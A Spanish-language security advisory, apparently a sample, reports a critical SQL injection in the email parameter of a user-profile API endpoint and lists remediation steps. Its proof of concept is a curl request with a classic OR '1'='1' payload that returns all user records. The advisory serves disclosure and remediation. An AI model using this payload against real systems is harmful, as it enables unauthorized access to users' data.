SQL Injection — API de Usuarios
SA-2025-001
·
CWE-89
·
OWASP A03:2021
CRÍTICO
9.8
CVSS v3.1
Descripción
Permite a atacantes no autenticados ejecutar comandos SQL arbitrarios en la base de datos mediante el parámetro email del endpoint POST /api/v1/user/profile. El atacante puede extraer, modificar o eliminar datos sensibles de todos los usuarios del sistema.
Localización
POST /api/v1/user/profileParámetro: email
Remediación recomendada
- 1.Implementar prepared statements (consultas parametrizadas)
- 2.Validar y sanitizar todas las entradas de usuario
- 3.Aplicar principio de mínimo privilegio en cuentas de BD
- 4.Implementar WAF con reglas específicas para SQLi
Prueba de Concepto (PoC)
curl -X POST https://api.example.com/api/v1/user/profile \
-H "Content-Type: application/json" \
-d '{
"email": "admin@example.com'"'"' OR '"'"'1'"'"'='"'"'1'"'"'--",
"name": "test"
}'
Response: Returns ALL user records (data breach)
Verificación de corrección
Para validar la corrección, ejecutar el mismo payload. La aplicación debe rechazar la solicitud con error controlado, sin devolver datos sensibles ni revelar mensajes de error de la base de datos.